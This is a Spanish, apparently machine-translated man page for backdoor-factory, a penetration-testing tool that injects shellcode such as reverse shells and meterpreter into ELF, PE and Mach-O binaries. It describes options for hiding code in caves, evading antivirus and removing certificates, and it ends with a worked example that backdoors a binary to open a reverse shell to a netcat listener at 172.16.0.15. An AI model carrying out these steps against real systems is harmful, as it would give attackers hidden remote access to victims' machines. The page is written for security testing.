backdoor-factory - inyectar shellcode predefinido o definido por el usuario en binarios
backdoor-factory [options]
backdoor-factory parchea los binarios ejecutables con el shellcode deseado por el usuario y continúa con la ejecución normal del estado preparcheado.
Esta herramienta es solo para profesionales e investigadores de seguridad.
Esta herramienta no es compatible con el ejecutable ELF reubicable (es decir, compilado con la opción -fPIE, sugerida por los requisitos de refuerzo de Debian, consulte https://wiki.debian.org/Hardening)
Es posible que los archivos binarios como ssh no se identifiquen correctamente, como lo están los archivos binarios como dolphin (en el momento en que se escribió esta página del manual).
mostrar este mensaje de ayuda y salir
Archivo a la puerta trasera
Cargas útiles que están disponibles para su uso. Use 'mostrar' para ver las cargas útiles.
IP del C2 para conexiones inversas.
El puerto para volver a conectarse para shells inversos o para escuchar shells de enlace
Seleccione esta opción si desea usar el código de salto de cueva para ocultar aún más su código de shell en el binario.
Exigir que se agregue una nueva sección al exe (mejor éxito) pero menos evitación de av
Shellcode proporcionado por el usuario, asegúrese de que coincida con la arquitectura a la que se dirige.
La bandera de cueva encontrará cuevas de código que se pueden usar para esconder shellcode. Esto imprimirá en todas las cuevas de código de un tamaño específico. El indicador -l se puede usar con esta configuración.
Para usar con -c para ayudar a encontrar cuevas de código de diferentes tamaños
La ruta del archivo de salida de puerta trasera. Los directorios principales deben existir
El nombre de la nueva sección debe tener menos de siete caracteres
Esta es la ubicación de los archivos que desea respaldar. Puede hacer que un directorio de archivos sea más rápido forzando la conexión de un codecave al exe usando la configuración -a.
Esta bandera cambia la sección que alberga la cueva de códigos a RWE. A veces esto es necesario. Habilitado por defecto. Si está desactivada, la puerta trasera puede fallar.
Este comando convierte la fábrica de puertas traseras en un tipo de mecanismo de búsqueda e inyección de shellcode. Edite la configuración de destino en el módulo del inyector.
Para uso con inyector, coloca un sufijo en el archivo original para una fácil recuperación
Para uso con módulo inyector. Este comando elimina el archivo original. No apto para uso en sistemas de producción. (El autor no es responsable de usos estúpidos).
Punto de inicio en el desplazamiento del disco, en bytes. Algunos autores quieren ofuscar su desplazamiento en disco para evitar la ingeniería inversa, si encuentra uno de esos archivos, use este indicador, después de encontrar el desplazamiento.
Para determinar si el archivo es compatible con BDF antes de realizar la puerta trasera del archivo. Para usar solo o con detallado. Esta verificación ocurre automáticamente si se intenta la puerta trasera.
Uso futuro, para ayudar a determinar el shellcode más pequeño posible en un archivo PE
Mata la pancarta.
Para salida de información de depuración.
Solo binarios de tipo ALL, x86 o x64. Predeterminado=TODOS
Permite sobrescribir el puntero a la tabla de certificados PE eliminando efectivamente el certificado del binario para todos los efectos.
EXPERIMENTAL Comprueba los archivos binarios de PE para 'requestedExecutionLevel level="highestAvailable"'. Si esta cadena se incluye en el binario, debe ejecutarse como system/admin. Si no está en el modo de verificación de soporte, intentará parchear el valor más alto disponible en el manifiesto si existe la entrada RequestExecutionLevel.
Utilice esta configuración si NO desea parchear las DLL. Parches por defecto.
Para formato MACH-O. Si es una lima gruesa, concéntrese en qué arcada parchear. El valor predeterminado es x64. Para forzar x86 use -F x86, para forzar ambos arcos use -FALL.
Para las cargas útiles que tienen la capacidad de balizar, configure el tiempo en segundos
Métodos de aplicación de parches para archivos PE, 'manual', 'automático', de reemplazo y de cebolla
Para cebolla duque. Proporcione su binario deseado.
Predeterminado: NO es compatible con máquinas heredadas con XP, use -X para admitir XP. De forma predeterminada, el binario se bloqueará en máquinas XP (por ejemplo, cajas de arena)
EXPERIMENTAL De forma predeterminada, se crea una nueva tabla de directorio de importación en una nueva sección, al llamar a esta bandera se colocará en una cueva de código. Esto puede causar fallas binarias en algunos casos. Pruebe primero en los binarios de destino.
Para aquellos con certificados de codiseño que deseen firmar binarios de PE únicamente. Asigne un nombre a su clave de firma y clave privada firmingcert.cer y signaturePrivateKey.pem respectivamente en el directorio de certificados. Depende de usted obtener los certificados de firma.
Para ejecutar scripts de preprocesamiento en el directorio de preprocesamiento
Hay varios shellcode predefinidos en backdoor-factory. Su disponibilidad depende del tipo de destino (ELF32, ELF64, PE32...). La lista de shellcodes se define a continuación.
necesita: un host remoto y un puerto para establecer permisos: acceso de shell remoto
necesita: un host remoto y un puerto para establecer permisos: acceso de shell remoto
necesita: una baliza, un host remoto y un puerto para establecer permisos: acceso de shell remoto
necesita: un shellcode definido por el usuario listo para inyectar permisos: depende del shellcode
necesidad: permisos:
necesidades: un host remoto y un puerto para establecer permisos: acceso de shell remoto
necesidades: un host remoto y un puerto para establecer permisos: Inyectar la DLL del servidor meterpreter a través de la carga útil de Inyección Dll Reflectiva
necesidades: un host remoto y un puerto para establecer permisos: meterpreter sobre transporte https
necesidades: un código de shell definido por el usuario listo para inyectar permisos: depende del código de shell
necesidades: un host remoto y un puerto que se configurarán permite:
necesidades: un host remoto y un puerto que se configurarán permite:
necesidades: un host remoto y un puerto para establecer permisos: Inyectar la DLL del servidor meterpreter a través de la carga útil de Inyección Dll Reflectiva
necesidades: un código de shell definido por el usuario listo para inyectar permisos: depende del código de shell
necesidades: un host remoto y un puerto para establecer permisos: acceso de shell remoto
necesidades: un host remoto y un puerto para establecer permisos: acceso de shell remoto
necesita: una baliza, un host remoto y un puerto para establecer permisos: acceso de shell remoto
necesidades: un código de shell definido por el usuario listo para inyectar permisos: depende del código de shell
Ejemplo de codificación en cueva de un binario ELF, mediante la integración de un acceso de shell remoto a través de un oyente TCP remoto (por ejemplo, netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcpEn el host detrás de la IP 172.16.0.15, inicie netcat en modo de escucha:
netcat -l 172.16.0.15 8080En el objetivo, inicie el binario de puerta trasera:
./backdoored/dolphinAhora, en el host 172.16.0.15, solo use su shell.
Mayo de 2017, compilado originalmente por Philippe Thierry (phil at reseau-libre punto com)